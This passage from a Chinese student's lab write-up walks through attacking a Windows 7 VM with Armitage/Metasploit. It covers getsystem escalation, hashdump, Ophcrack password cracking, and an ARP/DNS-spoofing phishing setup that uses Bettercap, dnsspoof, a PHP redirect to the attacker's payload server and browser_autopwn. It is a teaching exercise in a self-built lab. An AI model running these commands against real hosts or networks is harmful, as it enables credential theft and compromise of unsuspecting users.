命令查看会话,然后用sessions -i 1
命令进入会话1
: - 先用
getuid
命令查看当前账户名为crazymosquito,再用getsystem
命令提权:
什么?竟然也不行!
- 首先用
实际上这是由于win7靶机当前登录的用户账户不是Administrator导致的>_<我们需要重新启用Administrator账户!
- 在靶机桌面上右击计算机图标,选择【管理】打开计算机管理:
- 在左侧目录依次选择
计算机管理(本地)
->本地用户和组
->用户
,在Administrator
上右击【属性】,把账户已禁用
前面的勾去掉即可: - 删除当前用户crazymosquito:
- 然后一路选
是(Y)
: - 可以看出当前账户已变成Administrator:
为了体现出当前账户的变化我们应注销当前用户并重新登录Administrator账户,然后点开
payload.exe
重新回连Kali,此时回到Armitage可以看到直接回连成功(靶机下方描述为ODCE\Administrator
):查看当前会话并进入会话
3
,发现已经可以成功提权(靶机下方描述变为NT AUTHORITY\SYSTEM
):重新进行hashdump:
此时可以看到成功抓取到Hash值!
接下来我们利用Kali自带的工具Ophcrack对Hash进行破解!
Ophcrack工具介绍:
Ophcrack是一款利用彩虹表来破解Windows密码的图形界面化工具。
彩虹表(Rainbow Table)是一种破解Hash算法(找到碰撞)的技术,将暴力破解和字典两种常用的攻击方法结合起来,用一个大型数据字典来进行快速匹配暴力破解,以空间换时间,破解效率大幅度提高。
LM(LanManager)是Windows古老而脆弱的密码加密方式。任何大于7位的密码都被分成以7为单位的几个部分,最后不足7位的密码以0补足7位,然后通过加密运算最终组合成一个hash。所以实际上通过破解软件分解后,LM密码破解的上限就是7位,这使得以今天的PC运算速度在短时间内暴力破解LM加密的密码成为可能(上限是两周),如果使用彩虹表,那么这个时间数量级可能被下降到小时。
和Armitage类似,我们可以通过菜单栏05-Password文件夹下找到Ophcrack的图标直接打开她:
首先,我们需要从官网下载Ophcrack提供的彩虹表文件。Ophcrack官网提供的彩虹表有XP和Vista两个版本:
XP版本提供了四个免费的彩虹表:
XP free small (380MB)
、XP free fast (703MB)
、XP special (7.5GB)
和XP german (7.4GB)
:选择最小的那个查看介绍学习一波:
XP free small (380MB)
标识:SSTIC04-10k
破解成功率: 99.9%
字母数字表:123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
该表有大小写字母加数字生成,大小为380MB,包含所有字母数字混合密码中99.9%的LanManager表。这些都是用大小写字母和数字组成的密码(大约800亿组合)。
由于LanManager哈希表将密码截成每份7个字符的两份,我们就可以用该表破解长度在1到14之间的密码。由于LanManager哈希表也是不区分大小写的,该表中的800亿的组合就相当于(12*10)11(或者283)个密码,因此也被称为“字母数字表10K”。
Vista版本的彩虹表有
Vista free (461MB)
、Vista proba free (581MB)
、Vista special (8.0GB)
和Vista num (3.0GB)
:由于这里测试的是win7的密码而且是简单密码,我们下载Vista版本的
Vista proba free(581MB)
即可:
我们还可以看出彩虹表大小大致和字符集、能够破解密码长度有关,设置的字符集越复杂、能破解的长度越长彩虹表的体积就越庞大(我们密码技术竞赛用到的彩虹表超过500G)!
下载完之后,我们打开Ophcrack工具,点击上方工具栏的
Tables
:点击右下角的
Install
:选择我们下载的彩虹表文件(解压之后得到的文件夹):
此时对应的彩虹表项会变绿表示可用,点击
OK
返回:在上方工具栏依次选择
Load
->Single hash
:把我们刚才dump到的Hash值复制过来,点击
OK
进行破解:秒破解!显示win7靶机的开机密码为空(其实根本就没设置233)!
没意思?那我们来给Administrator设个密码试试!
又回到熟悉的操作啦>_<
重新登录一下(密码就不告诉你),然后用payload.exe
回连:Armitage这边回连成功后使用hashdump:
将最后这一串复制到Ophcrack中,点击工具栏中的
Crack
开始破解:可以看到已经开始加载彩虹表进行破解,下方记录了进度和所用时间:
最后Ophcrack只用2分19秒就把win7靶机这个字母数字混合的密码给破解出来了!可以看出彩虹表的性能还是非常惊人的>_<
7.2 Bettercap+dnsspoof:Armitage下利用中间人攻击实现网络钓鱼
Bettercap工具介绍:
Bettercap是一个比Exp7中用到的ettercap更先进、好用的也是目前我们能获取到的功能最完备的一个中间人攻击框架。虽然Bettercap没有GUI界面,但是它仍然很好上手,使用起来特别便利。使用者只需要根据帮助文档将一个个命令组合起来就可以使用其各种强大的功能。
使用Bettercap时我们并不需要像使用ettercap一样先行扫描局域网内的主机,Bettercap会帮我们自动完成扫描主机的任务,并且可以实时发现网络中新接入的设备。如果你想手动指定攻击目标,Bettercap允许我们通过命令来关闭自动发现设备的功能并且手动指定要攻击的单个目标或是部分网段/整个网段。
中间人攻击原理
dnsspoof原理:
dnsspoof启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果是反向IP指针解析,dnsspoof也会返回一个伪造的域名。
Armitage browser_autopwn模块简介:
This module has three actions. The first (and the default) is 'WebServer' which uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them. Next is 'DefangedDetection' which does only the fingerprinting part. Lastly, 'list' simply prints the names of all exploit modules that would be used by the WebServer action given the current MATCH and EXCLUDE options. Also adds a 'list' command which is the same as running with ACTION=list.
Kali下并没有集成Bettercap,我们需要自己安装(不大,才4M左右),终端中输入命令:
sudo apt-get install bettercap
新建一个名为
test.hosts
的hosts文件用于DNS欺骗,输入命令:vim test.hosts
内容如下,IP为Kali攻击机的IP(别忘了后面的
*
):开启Apache服务:
service apache2 start
进入Apache根目录
/var/www/html
,输入命令:cd /var/www/html
新建
index.php
,并输入以下代码然后保存退出:
这样在DNS欺骗后会跳到指定IP(Kali攻击机IP),然后在通过php重定向到我们的payload。<?php header("Location:http://10.211.55.10:8088"); ?>
在Armitage左侧树型目录下依次选择
auxiliary
->server
->browser_autopwn
并双击打开配置,直接用默认设置即可,点击Launch
:
老规矩会进行一系列自动化配置:
等待所有payload加载完成,一共20个:
我们打开一个新的终端窗口,输入命令
bettercap
开启bettercap:开始arp欺骗攻击,输入命令:
我们可以在靶机中看到她已被成功欺骗>\_<把Kali攻击机当成网关啦>\_<bettercap -autostart arp.spoof,net.sniff on
Kali这边开始用dnsspoof进行DNS欺骗,输入命令:
现在同一网关下的靶机不管打开什么URL都会解析到我们的URL中!dnsspoof -f /root/test.hosts
0x08 实践中遇到的问题及解决过程
启动Armitage时报错提示Could not connect to database
解决方案
- 根据提示在终端中输入
/etc/init.d/postgresql start
命令启动postgresql服务,重启Armitage即可:
0x09 实践总结与体会
9.1 Armitage到底能用来干啥?
Armitage是图形化的Metasploit,其操作围绕着msfconsole展开,通过标签管理各种程序和各类资讯,可以同时处理多个msfconsole或session,大大降低了Metasploit操作的复杂度。从安全人员的角度来说,全自动化的Armitage非常有助于管理员对主机的漏洞测试。
9.2 一些感受,写在最后!
本次免考实践时间跨度极大,从最初接触Armitage有各种想法到挨个落实再到后期不断打磨直至最终定稿,前前后后竟有两个月之久!一路走来,正像刘老师说的那样,“开心就好”,是的我做到了,整个实践期间我真的非常开心,真的完全是靠兴趣坚持下来的。很多人总是看我趴在电脑前就来问了,都快考完放假了健哥你咋还在做lyd的实验,我说你不懂,这是我最快乐的时光。漏洞令人沉醉,一个漏洞的复现可以让我错过饭点、可以点灯刷夜,但绝不可以不把她写进我的博客中!毕竟,为了这一份小小的成就感,为了这一点小小的快乐,值_
虽然Hacker为所欲为,但想要真正成功实施一次入侵还是非常困难的,受到诸多不可控复杂因素限制,还要考虑清除入侵痕迹。在自己搭的环境中实践成不成功有时还(shui)得(ping)看(tai)脸(ci),更何况在未知环境中实际应用!还记得第一次漏洞攻击实验,从周三开始装各种虚拟机挨个找漏洞一直弄到周六才难得成功第一次攻击。在做第一个ms08_067漏洞攻击时,首先是靶机操作系统的选择上,由于第一个经常使用的win7虚拟机已在清明假期被我用腾讯电脑管家打好了补丁很可能没办法实施攻击,因此我先拿PKI实验课上装的没有任何安全防护的win7客户机做试验,发现不行,那就换xp试试呗!然后我便用硬盘里珍藏多年的xp professional镜像安装了一个xp虚拟机,兴高采烈地配置好Armitage,一攻击发现还是不行!!最后问了很多大佬才知道用英文版的xp可以成功,但这我还是攻击了好几次的结果……而“永恒之蓝”的攻击更是连xp都不行而只能用PKI的win7虚拟机才能完成……总的来说,漏洞攻击因“机”而异,寻找漏洞更是完全取决于Hacker的眼力和本领。网络攻防其实就是“找漏洞”和“堵漏洞”之间的较量,而所谓“道高一尺魔高一丈”,漏洞攻击更具有先手优势,未知的敌人永远在未知的暗处对你发起未知的攻击。如今,在安全技术已经比较成熟的几大主流操作系统又在各种知名杀软的保护加持之下,往往被用户认为相对“安全”,但一个新漏洞的发现往往能引起轩然大波,拿到“黑市”中去卖能一夜暴富;更有甚者如去年不法分子利用NSA武器库泄漏的危险漏洞“永恒之蓝”制作出一款蠕虫式勒索病毒软件WannaCry并借助网络大范围传播,锁定被感染用户的系统、加密全部数据并向直接其索取高额比特币,导致一场全球性互联网灾难!
给我们的启示在于,打补丁的方式虽然可以防范漏洞攻击,但这毕竟是被动的,是在攻击发生之后采取的行为。首先从源头上来说,操作系统研发者就不应该让这些攻击成为可能,但无奈地球上毕竟不存在完美的程序猿,写代码时难免会产生bug。从安全人员的角度来看,要保护一个系统,必须主动一点,像Hacker那样并抢在Hacker之前对当前系统可能存在的所有漏洞进行检测,把漏洞堵起来,不安全的因素找出来,各种安全屏障立起来,让Hacker无机可乘!
网络对抗永远在路上。
最后还是要感谢一下一路陪我走来的Mac,他的性能足够强劲以至于让我能同时开3个虚拟机做渗透测试(>\_<)辛苦啦(>\_<) 最后的最后感谢一下lyd老师(>\_<)此处略去n字节(>\_<)